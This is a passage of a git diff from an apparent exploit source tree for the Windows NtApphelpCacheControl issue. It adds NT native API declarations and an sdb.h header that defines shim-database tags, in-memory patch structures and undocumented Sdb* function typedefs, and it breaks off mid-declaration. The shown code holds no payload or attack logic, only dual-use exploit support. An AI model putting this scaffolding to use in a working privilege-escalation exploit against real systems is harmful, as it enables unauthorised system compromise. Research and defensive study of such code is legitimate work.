GetFileInformationByHandleEx + // GetProcessInformation + // GetThreadInformation + // + + __kernel_entry NTSYSCALLAPI + NTSTATUS + NTAPI + NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + + // + // use the Win32 APIs instead + // GetSystemRegistryQuota + // GetSystemTimes + // use the CryptoAPIs instead for generating random data + // CryptGenRandom + // + __kernel_entry NTSTATUS + NTAPI + NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 API instead + // GetSystemTimeAsFileTime + // + __kernel_entry NTSTATUS + NTAPI + NtQuerySystemTime( + OUT PLARGE_INTEGER SystemTime + ); + + // + // use the Win32 API instead + // LocalFileTimeToFileTime + // + NTSTATUS + NTAPI + RtlLocalTimeToSystemTime( + IN PLARGE_INTEGER LocalTime, + OUT PLARGE_INTEGER SystemTime + ); + + // + // use the Win32 API instead + // SystemTimeToFileTime to convert to FILETIME structures + // copy the resulting FILETIME structures to ULARGE_INTEGER structures + // perform the calculation + // + BOOLEAN + NTAPI + RtlTimeToSecondsSince1970( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + + // + // These APIs might be need for some of the internal Windows functions, + // defined in this header file. + // + VOID + NTAPI + RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + + VOID + NTAPI + RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + + VOID + NTAPI + RtlFreeOemString( + POEM_STRING OemString + ); + + VOID + NTAPI + RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + + VOID + NTAPI + RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + + VOID + NTAPI + RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + NTSTATUS + NTAPI + RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + NTSTATUS + NTAPI + RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + NTSTATUS + NTAPI + RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + + // + // Use the Win32 API instead + // WideCharToMultiByte + // set CodePage to CP_ACP + // set cbMultiByte to 0 + // + NTSTATUS + NTAPI + RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + + // + // Use the C runtime function instead + // strtol + // + NTSTATUS + NTAPI + RtlCharToInteger( + PCSZ String, + ULONG Base, + PULONG Value + ); + + // + // use the Win32 API instead + // ConvertSidToStringSid + // + NTSTATUS + NTAPI + RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + + // + // use the CryptoAPIs instead + // CryptGenRandom + // + ULONG + NTAPI + RtlUniform( + PULONG Seed + ); + + +#define LOGONID_CURRENT ((ULONG)-1) +#define SERVERNAME_CURRENT ((HANDLE)NULL) + + typedef enum _WINSTATIONINFOCLASS { + WinStationInformation = 8 + } WINSTATIONINFOCLASS; + + + typedef struct _WINSTATIONINFORMATIONW { + BYTE Reserved2[70]; + ULONG LogonId; + BYTE Reserved3[1140]; + } WINSTATIONINFORMATIONW, *PWINSTATIONINFORMATIONW; + + // + // this function is implemented in winsta.dll (you need to loadlibrary to call this function) + // this internal function retrives the LogonId (also called SessionId) for the current process + // You should avoid using this function as it can change. you can retrieve the same information + // Using public api WTSQuerySessionInformation. Pass WTSSessionId as the WTSInfoClass parameter + // + typedef BOOLEAN(WINAPI * PWINSTATIONQUERYINFORMATIONW)( + HANDLE, ULONG, WINSTATIONINFOCLASS, PVOID, ULONG, PULONG); + + // + // Generic test for success on any status value (non-negative numbers + // indicate success). + // + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + + // + // Generic test for information on any status value. + // + +#ifndef NT_INFORMATION +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#endif + + // + // Generic test for warning on any status value. + // + +#ifndef NT_WARNING +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#endif + + // + // Generic test for error on any status value. + // + +#ifndef NT_ERROR +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) +#endif + + //++ + // + // VOID + // InitializeObjectAttributes( + // OUT POBJECT_ATTRIBUTES p, + // IN PUNICODE_STRING n, + // IN ULONG a, + // IN HANDLE r, + // IN PSECURITY_DESCRIPTOR s + // ) + // + //-- + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } +#endif + + // + // Valid values for the Attributes field + // + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + + // + // Define the create disposition values + // + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + + // + // Define the create/open option flags + // + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_REMOTE_INSTANCE 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7) +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#endif + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + + // + // Define the I/O status information return values for NtCreateFile/NtOpenFile + // + +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 + +#ifdef __cplusplus +} +#endif + +#endif // (_WIN32_WINNT >= 0x0500) + + +#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */ +#pragma endregion + +#endif // _WINTERNL_ diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h new file mode 100755 index 0000000000..4877bfc4a7 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h @@ -0,0 +1,338 @@ +/* +Copyright (c) 2014, Jon Erickson +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this +list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, +this list of conditions and the following disclaimer in the documentation +and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +The views and conclusions contained in the software and documentation are those +of the authors and should not be interpreted as representing official policies, +either expressed or implied, of the FreeBSD Project. + +*/ + +#include + +typedef DWORD TAGID; +typedef DWORD TAGREF; +typedef DWORD TAG; +typedef PVOID PDB; +typedef HANDLE HSDB; + +#define HID_DOS_PATHS 0x00000001 +#define HID_DATABASE_FULLPATH 0x00000002 +#define SDB_MAX_EXES 16 +#define SDB_MAX_LAYERS 8 +#define SDB_MAX_SDBS 16 +#define SDB_DATABASE_SHIM 0x00010000 +#define SHIMREG_DISABLE_SHIM 0x00000001 +#define SHIMREG_DISABLE_APPHELP 0x00000002 +#define SHIMREG_APPHELP_NOUI 0x00000004 +#define SHIMREG_APPHELP_CANCEL 0x10000000 +#define SHIMREG_DISABLE_SXS 0x00000010 +#define SHIMREG_DISABLE_LAYER 0x00000020 +#define SHIMREG_DISABLE_DRIVER 0x00000040 +#define ATTRIBUTE_AVAILABLE 0x00000001 +#define ATTRIBUTE_FAILED 0x00000002 +#define TAGID_ROOT 0 +#define TAGID_NULL 0 +#define TAG_TYPE_NULL 0x1000 +#define TAG_TYPE_BYTE 0x2000 +#define TAG_TYPE_WORD 0x3000 +#define TAG_TYPE_DWORD 0x4000 +#define TAG_TYPE_QWORD 0x5000 +#define TAG_TYPE_STRINGREF 0x6000 +#define TAG_TYPE_LIST 0x7000 +#define TAG_TYPE_STRING 0x8000 +#define TAG_TYPE_BINARY 0x9000 +#define TAG_DATABASE (0x1 | TAG_TYPE_LIST) //Database entry. +#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) //Library entry. +#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) //Include and exclude entry. +#define TAG_SHIM (0x4 | TAG_TYPE_LIST) //Shim entry that contains the name and purpose information. +#define TAG_PATCH (0x5 | TAG_TYPE_LIST) //Patch entry that contains the in-memory patching information. +#define TAG_APP (0x6 | TAG_TYPE_LIST) //Application entry. +#define TAG_EXE (0x7 | TAG_TYPE_LIST) //Executable entry. +#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) //Matching file entry. +#define TAG_SHIM_REF (0x9| TAG_TYPE_LIST) //Shim definition entry. +#define TAG_PATCH_REF (0xA | TAG_TYPE_LIST) //Patch definition entry. +#define TAG_LAYER (0xB | TAG_TYPE_LIST) // Layer shim entry. +#define TAG_FILE (0xC | TAG_TYPE_LIST) //File attribute used in a shim entry. +#define TAG_APPHELP (0xD | TAG_TYPE_LIST) //Apphelp information entry. +#define TAG_LINK (0xE | TAG_TYPE_LIST) //Apphelp online link information entry. +#define TAG_DATA (0xF | TAG_TYPE_LIST) //Name-value mapping entry. +#define TAG_MSI_TRANSFORM (0x10 | TAG_TYPE_LIST) //MSI transformation entry. +#define TAG_MSI_TRANSFORM_REF (0x11 | TAG_TYPE_LIST) //MSI transformation definition entry. +#define TAG_MSI_PACKAGE (0x12 | TAG_TYPE_LIST) //MSI package entry. +#define TAG_FLAG (0x13 | TAG_TYPE_LIST) //Flag entry. +#define TAG_MSI_CUSTOM_ACTION (0x14 | TAG_TYPE_LIST) //MSI custom action entry. +#define TAG_FLAG_REF (0x15 | TAG_TYPE_LIST) //Flag definition entry. +#define TAG_ACTION (0x16 | TAG_TYPE_LIST) //Unused. +#define TAG_LOOKUP (0x17 | TAG_TYPE_LIST) //Lookup entry used for lookup in a driver database. +#define TAG_STRINGTABLE (0x801 | TAG_TYPE_LIST) // String table entry. +#define TAG_INDEXES (0x802 | TAG_TYPE_LIST) // Indexes entry that defines all the indexes in a shim database. +#define TAG_INDEX (0x803 | TAG_TYPE_LIST) // Index entry that defines an index in a shim database. +#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) //Name attribute. +#define TAG_DESCRIPTION (0x2 | TAG_TYPE_STRINGREF) //Description entry. +#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) //Module attribute. +#define TAG_API (0x4 | TAG_TYPE_STRINGREF) //API entry. +#define TAG_VENDOR (0x5 | TAG_TYPE_STRINGREF) //Vendor name attribute. +#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) //Application name attribute that describes an application entry in a shim database. +#define TAG_COMMAND_LINE (0x8 | TAG_TYPE_STRINGREF) //Command line attribute that is used when passing arguments to a shim, for example. +#define TAG_COMPANY_NAME (0x9 | TAG_TYPE_STRINGREF) //Company name attribute. +#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) //DLL file attribute for a shim entry. +#define TAG_WILDCARD_NAME (0xB | TAG_TYPE_STRINGREF) //Wildcard name attribute for an executable entry with a wildcard as the file name. +#define TAG_PRODUCT_NAME (0x10 | TAG_TYPE_STRINGREF) //Product name attribute. +#define TAG_PRODUCT_VERSION (0x11 | TAG_TYPE_STRINGREF) //Product version attribute. +#define TAG_FILE_DESCRIPTION (0x12 | TAG_TYPE_STRINGREF) //File description attribute. +#define TAG_FILE_VERSION (0x13 | TAG_TYPE_STRINGREF) //File version attribute. +#define TAG_ORIGINAL_FILENAME (0x14 | TAG_TYPE_STRINGREF) //Original file name attribute. +#define TAG_INTERNAL_NAME (0x15 | TAG_TYPE_STRINGREF) //Internal file name attribute. +#define TAG_LEGAL_COPYRIGHT (0x16 | TAG_TYPE_STRINGREF) //Copyright attribute. +#define TAG_16BIT_DESCRIPTION (0x17 | TAG_TYPE_STRINGREF) //16-bit description attribute. +#define TAG_APPHELP_DETAILS (0x18 | TAG_TYPE_STRINGREF) //Apphelp details message information attribute. +#define TAG_LINK_URL (0x19 | TAG_TYPE_STRINGREF) //Apphelp online link URL attribute. +#define TAG_LINK_TEXT (0x1A | TAG_TYPE_STRINGREF) //Apphelp online link text attribute. +#define TAG_APPHELP_TITLE (0x1B | TAG_TYPE_STRINGREF) //Apphelp title attribute. +#define TAG_APPHELP_CONTACT (0x1C | TAG_TYPE_STRINGREF) //Apphelp vendor contact attribute. +#define TAG_SXS_MANIFEST (0x1D | TAG_TYPE_STRINGREF) //Side-by-side manifest entry. +#define TAG_DATA_STRING (0x1E | TAG_TYPE_STRINGREF) //String attribute for a data entry. +#define TAG_MSI_TRANSFORM_FILE (0x1F | TAG_TYPE_STRINGREF) //File name attribute of an MSI transformation entry. +#define TAG_16BIT_MODULE_NAME (0x20 | TAG_TYPE_STRINGREF) //16-bit module name attribute. +#define TAG_LAYER_DISPLAYNAME (0x21 | TAG_TYPE_STRINGREF) //Unused. +#define TAG_COMPILER_VERSION (0x22 | TAG_TYPE_STRINGREF) //Shim database compiler version. +#define TAG_ACTION_TYPE (0x23 | TAG_TYPE_STRINGREF) //Unused. +#define TAG_EXPORT_NAME (0x24 | TAG_TYPE_STRINGREF) //Export file name attribute. +#define TAG_SIZE (0x1 | TAG_TYPE_DWORD) //File size attribute. +#define TAG_OFFSET (0x2 | TAG_TYPE_DWORD) //Unused. +#define TAG_CHECKSUM (0x3 | TAG_TYPE_DWORD) //File checksum attribute. +#define TAG_SHIM_TAGID (0x4 | TAG_TYPE_DWORD) //Shim TAGID attribute. +#define TAG_PATCH_TAGID (0x5 | TAG_TYPE_DWORD) //Patch TAGID attribute. +#define TAG_MODULE_TYPE (0x6 | TAG_TYPE_DWORD) //Module type attribute. +#define TAG_VERDATEHI (0x7 | TAG_TYPE_DWORD) //High-order portion of the file version date attribute. +#define TAG_VERDATELO (0x8 | TAG_TYPE_DWORD) //Low-order portion of the file version date attribute. +#define TAG_VERFILEOS (0x9 | TAG_TYPE_DWORD) //Operating system file version attribute. +#define TAG_VERFILETYPE (0xA | TAG_TYPE_DWORD) //File type attribute. +#define TAG_PE_CHECKSUM (0xB | TAG_TYPE_DWORD) //PE file checksum attribute. +#define TAG_PREVOSMAJORVER (0xC | TAG_TYPE_DWORD) //Major operating system version attribute. +#define TAG_PREVOSMINORVER (0xD | TAG_TYPE_DWORD) //Minor operating system version attribute. +#define TAG_PREVOSPLATFORMID (0xE | TAG_TYPE_DWORD) //Operating system platform identifier attribute. +#define TAG_PREVOSBUILDNO (0xF | TAG_TYPE_DWORD) //Operating system build number attribute. +#define TAG_PROBLEMSEVERITY (0x10 | TAG_TYPE_DWORD) //Block attribute of an Apphelp entry. This determines whether the application is hard or soft blocked. +#define TAG_LANGID (0x11 | TAG_TYPE_DWORD) //Language identifier of an Apphelp entry. +#define TAG_VER_LANGUAGE (0x12 | TAG_TYPE_DWORD) //Language version attribute of a file. +#define TAG_ENGINE (0x14 | TAG_TYPE_DWORD) //Unused. +#define TAG_HTMLHELPID (0x15 | TAG_TYPE_DWORD) //Help identifier attribute for an Apphelp entry. +#define TAG_INDEX_FLAGS (0x16 | TAG_TYPE_DWORD) //Flags attribute for an index entry. +#define TAG_FLAGS (0x17 | TAG_TYPE_DWORD) //Flags attribute for an Apphelp entry. +#define TAG_DATA_VALUETYPE (0x18 | TAG_TYPE_DWORD) //Data type attribute for a data entry. +#define TAG_DATA_DWORD (0x19 | TAG_TYPE_DWORD) //DWORD value attribute for a data entry. +#define TAG_LAYER_TAGID (0x1A | TAG_TYPE_DWORD) //Layer shim TAGID attribute. +#define TAG_MSI_TRANSFORM_TAGID (0x1B | TAG_TYPE_DWORD) //MSI transform TAGID attribute. +#define TAG_LINKER_VERSION (0x1C | TAG_TYPE_DWORD) //Linker version attribute of a file. +#define TAG_LINK_DATE (0x1D | TAG_TYPE_DWORD) //Link date attribute of a file. +#define TAG_UPTO_LINK_DATE (0x1E | TAG_TYPE_DWORD) //Link date attribute of a file. Matching is done up to and including this link date. +#define TAG_OS_SERVICE_PACK (0x1F | TAG_TYPE_DWORD) //Operating system service pack attribute for an executable entry. +#define TAG_FLAG_TAGID (0x20 | TAG_TYPE_DWORD) //Flags TAGID attribute. +#define TAG_RUNTIME_PLATFORM (0x21 | TAG_TYPE_DWORD) //Run-time platform attribute of a file. +#define TAG_OS_SKU (0x22 | TAG_TYPE_DWORD) //Operating system SKU attribute for an executable entry. +#define TAG_OS_PLATFORM (0x23 | TAG_TYPE_DWORD) //Operating system platform attribute. +#define TAG_APP_NAME_RC_ID (0x24 | TAG_TYPE_DWORD) //Application name resource identifier attribute for Apphelp entries. +#define TAG_VENDOR_NAME_RC_ID (0x25 | TAG_TYPE_DWORD) //Vendor name resource identifier attribute for Apphelp entries. +#define TAG_SUMMARY_MSG_RC_ID (0x26 | TAG_TYPE_DWORD) //Summary message resource identifier attribute for Apphelp entries. +#define TAG_VISTA_SKU (0x27 | TAG_TYPE_DWORD) //Windows Vista SKU attribute. +#define TAG_DESCRIPTION_RC_ID (0x28 | TAG_TYPE_DWORD) //Description resource identifier attribute for Apphelp entries. +#define TAG_PARAMETER1_RC_ID (0x29 | TAG_TYPE_DWORD) //Parameter1 resource identifier attribute for Apphelp entries. +#define TAG_TAGID (0x801 | TAG_TYPE_DWORD) //TAGID attribute. +#define TAG_STRINGTABLE_ITEM (0x801 | TAG_TYPE_STRING) //String table item entry. +#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) //Include list entry. +#define TAG_GENERAL (0x2 | TAG_TYPE_NULL) //General purpose shim entry. +#define TAG_MATCH_LOGIC_NOT (0x3 | TAG_TYPE_NULL) //NOT of matching logic entry. +#define TAG_APPLY_ALL_SHIMS (0x4 | TAG_TYPE_NULL) //Unused. +#define TAG_USE_SERVICE_PACK_FILES (0x5 | TAG_TYPE_NULL) //Service pack information for Apphelp entries. +#define TAG_MITIGATION_OS (0x6 | TAG_TYPE_NULL) //Mitigation at operating system scope entry. +#define TAG_BLOCK_UPGRADE (0x7 | TAG_TYPE_NULL) //Upgrade block entry. +#define TAG_INCLUDEEXCLUDEDLL (0x8 | TAG_TYPE_NULL) //DLL include/exclude entry. +#define TAG_TIME (0x1 | TAG_TYPE_QWORD) //Time attribute. +#define TAG_BIN_FILE_VERSION (0x2 | TAG_TYPE_QWORD) //Bin file version attribute for file entries. +#define TAG_BIN_PRODUCT_VERSION (0x3 | TAG_TYPE_QWORD) //Bin product version attribute for file entries. +#define TAG_MODTIME (0x4 | TAG_TYPE_QWORD) //Unused. +#define TAG_FLAG_MASK_KERNEL (0x5 | TAG_TYPE_QWORD) //Kernel flag mask attribute. +#define TAG_UPTO_BIN_PRODUCT_VERSION (0x6 | TAG_TYPE_QWORD) //Bin product version attribute of a file. Matching is done up to and including this product version. +#define TAG_DATA_QWORD (0x7 | TAG_TYPE_QWORD) //ULONGLONG value attribute for a data entry. +#define TAG_FLAG_MASK_USER (0x8 | TAG_TYPE_QWORD) //User flag mask attribute. +#define TAG_FLAGS_NTVDM1 (0x9 | TAG_TYPE_QWORD) //NTVDM1 flag mask attribute. +#define TAG_FLAGS_NTVDM2 (0xA | TAG_TYPE_QWORD) //NTVDM2 flag mask attribute. +#define TAG_FLAGS_NTVDM3 (0xB | TAG_TYPE_QWORD) //NTVDM3 flag mask attribute. +#define TAG_FLAG_MASK_SHELL (0xC | TAG_TYPE_QWORD) //Shell flag mask attribute. +#define TAG_UPTO_BIN_FILE_VERSION (0xD | TAG_TYPE_QWORD) //Bin file version attribute of a file. Matching is done up to and including this file version. +#define TAG_FLAG_MASK_FUSION (0xE | TAG_TYPE_QWORD) //Fusion flag mask attribute. +#define TAG_FLAG_PROCESSPARAM (0xF | TAG_TYPE_QWORD) //Process param flag attribute. +#define TAG_FLAG_LUA (0x10 | TAG_TYPE_QWORD) //LUA flag attribute. +#define TAG_FLAG_INSTALL (0x11 | TAG_TYPE_QWORD) //Install flag attribute. +#define TAG_PATCH_BITS (0x2 | TAG_TYPE_BINARY) //Patch file bits attribute. +#define TAG_FILE_BITS (0x3 | TAG_TYPE_BINARY) //File bits attribute. +#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) //GUID attribute of an executable entry. +#define TAG_DATA_BITS (0x5 | TAG_TYPE_BINARY) //Data bits attribute. +#define TAG_MSI_PACKAGE_ID (0x6 | TAG_TYPE_BINARY) //MSI package identifier attribute of an MSI package. +#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) //GUID attribute of a database. +#define TAG_INDEX_BITS (0x801 | TAG_TYPE_BINARY) //Index bits attribute. + +#define TAG_APP_ID (0x11 | TAG_TYPE_BINARY) // App id guid? +#define TAG_FIX_ID (0x10 | TAG_TYPE_BINARY) // undocumented + +#define TAG_MATCH_MODE (0x1 | TAG_TYPE_WORD) //Match mode attribute. +#define TAG_TAG (0x801 | TAG_TYPE_WORD) //TAG entry. +#define TAG_INDEX_TAG (0x802 | TAG_TYPE_WORD) //Index TAG attribute for an index entry. +#define TAG_INDEX_KEY (0x803 | TAG_TYPE_WORD) //Index key attribute for an index entry. + +typedef struct tagAPPHELP_DATA { + DWORD dwFlags; + DWORD dwSeverity; + DWORD dwHTMLHelpID; + LPTSTR szAppName; + TAGREF trExe; + LPTSTR szURL; + LPTSTR szLink; + LPTSTR szAppTitle; + LPTSTR szContact; + LPTSTR szDetails; + DWORD dwData; + BOOL bSPEntry; +} APPHELP_DATA, *PAPPHELP_DATA; + +typedef struct tagATTRINFO { + TAG tAttrID; + DWORD dwFlags; + union { + ULONGLONG ullAttr; + DWORD dwAttr; + TCHAR *lpAttr; + }; +} ATTRINFO, *PATTRINFO; + +typedef struct _FIND_INFO { + TAGID tiIndex; + TAGID tiCurrent; + TAGID tiEndIndex; + TAG tName; + DWORD dwIndexRec; + DWORD dwFlags; + ULONGLONG ullKey; + union { + LPCTSTR szName; + DWORD dwName; + GUID *pguidName; + }; +} FIND_INFO, *PFIND_INFO; + +typedef DWORD INDEXID; + +typedef enum _PATH_TYPE { + DOS_PATH, + NT_PATH +} PATH_TYPE; + +typedef struct tagSDBQUERYRESULT { + TAGREF atrExes[SDB_MAX_EXES]; + DWORD adwExeFlags[SDB_MAX_EXES]; + TAGREF atrLayers[SDB_MAX_LAYERS]; + DWORD dwLayerFlags; + TAGREF trApphelp; + DWORD dwExeCount; + DWORD dwLayerCount; + GUID guidID; + DWORD dwFlags; + DWORD dwCustomSDBMap; + GUID rgGuidDB[SDB_MAX_SDBS]; +} SDBQUERYRESULT, *PSDBQUERYRESULT; + + +#define PATCH_MATCH 0x4 +#define PATCH_REPLACE 0x2 +#define MAX_MODULE 32 +typedef struct _PATCHBITS +{ + DWORD opcode; + DWORD actionSize; + DWORD patternSize; + DWORD rva; + DWORD unknown; + WCHAR moduleName[MAX_MODULE]; + BYTE pattern[1]; +} PATCHBITS, *PPATCHBITS; + +//functions +typedef BOOL(WINAPI *BaseFlushAppcompatCache)(void); +typedef TAGID(WINAPI *SdbBeginWriteListTag)(PDB pdb, TAG tTag); +typedef void (WINAPI *SdbCloseDatabase)(PDB pdb); +typedef void (WINAPI *SdbCloseDatabaseWrite)(PDB pdb); +typedef BOOL(WINAPI *SdbCommitIndexes)(PDB pdb); +typedef PDB(WINAPI *SdbCreateDatabase)(LPCWSTR pwszPath, PATH_TYPE eType); +typedef BOOL(WINAPI *SdbDeclareIndex)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwEntries, BOOL bUniqueKey, INDEXID *piiIndex); +typedef BOOL(WINAPI *SdbEndWriteListTag)(PDB pdb, TAGID tiList); +typedef TAGID(WINAPI *SdbFindFirstDWORDIndexedTag)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwName, FIND_INFO *pFindInfo); +typedef TAGID(WINAPI *SdbFindFirstTag)(PDB pdb, TAGID tiParent, TAG tTag); +typedef TAGID(WINAPI *SdbFindNextTag)(PDB pdb, TAGID tiParent, TAGID tiPrev); +typedef BOOL(WINAPI *SdbFormatAttribute)(PATTRINFO pAttrInfo, LPTSTR pchBuffer, DWORD dwBufferSize); +typedef BOOL(WINAPI *SdbFreeFileAttributes)(PATTRINFO pFileAttributes); +typedef void (WINAPI *SdbGetAppPatchDir)(HSDB hSDB, LPTSTR szAppPatchPath, DWORD cchSize); +typedef PVOID(WINAPI *SdbGetBinaryTagData)(PDB pdb, TAGID tiWhich); +typedef BOOL(WINAPI *SdbGetFileAttributes)(LPCTSTR lpwszFileName, PATTRINFO *ppAttrInfo, LPDWORD lpdwAttrCount); +typedef TAGID(WINAPI *SdbGetFirstChild)(PDB pdb, TAGID tiParent); +typedef TAGID(WINAPI *SdbGetIndex)(PDB pdb, TAG tWhich, TAG tKey, LPDWORD lpdwFlags); +typedef BOOL(WINAPI *SdbGetMatchingExe)(HSDB hSDB, LPCTSTR szPath, LPCTSTR szModuleName, LPCTSTR pszEnvironment, DWORD dwFlags, PSDBQUERYRESULT pQueryResult); +typedef TAGID(WINAPI *SdbGetNextChild)(PDB pdb, TAGID tiParent, TAGID tiPrev); +typedef LPTSTR(WINAPI *SdbGetStringTagPtr)(PDB pdb, TAGID tiWhich); +typedef TAG(WINAPI *SdbGetTagFromTagID)(PDB pdb, TAGID tiWhich); +typedef HSDB(WINAPI *SdbInitDatabase)(DWORD dwFlags, LPCTSTR pszDatabasePath); +typedef BOOL(WINAPI *SdbIsStandardDatabase)(GUID GuidDB); +typedef ULONGLONG(WINAPI *SdbMakeIndexKeyFromString)(LPCTSTR pwszKey); +typedef PDB(WINAPI *SdbOpenApphelpDetailsDatabase)(LPCWSTR pwsDetailsDatabasePath); +typedef HMODULE(WINAPI *SdbOpenApphelpResourceFile)(LPCWSTR pwszACResourceFile); +typedef PDB(WINAPI *SdbOpenDatabase)(LPCTSTR pwszPath, PATH_TYPE eType); +typedef DWORD(WINAPI *SdbQueryDataExTagID)(PDB pdb, TAGID tiExe, LPCTSTR lpszDataName, LPDWORD lpdwDataType, LPVOID lpBuffer, LPDWORD lpcbBufferSize, TAGID *ptiData); +typedef BOOL(WINAPI *SdbReadApphelpDetailsData)(PDB pdb, PAPPHELP_DATA pData); +typedef BOOL(WINAPI *SdbReadBinaryTag)(PDB pdb, TAGID tiWhich, PBYTE pBuffer, DWORD dwBufferSize); +typedef DWORD(WINAPI *SdbReadDWORDTag)(PDB pdb, TAGID 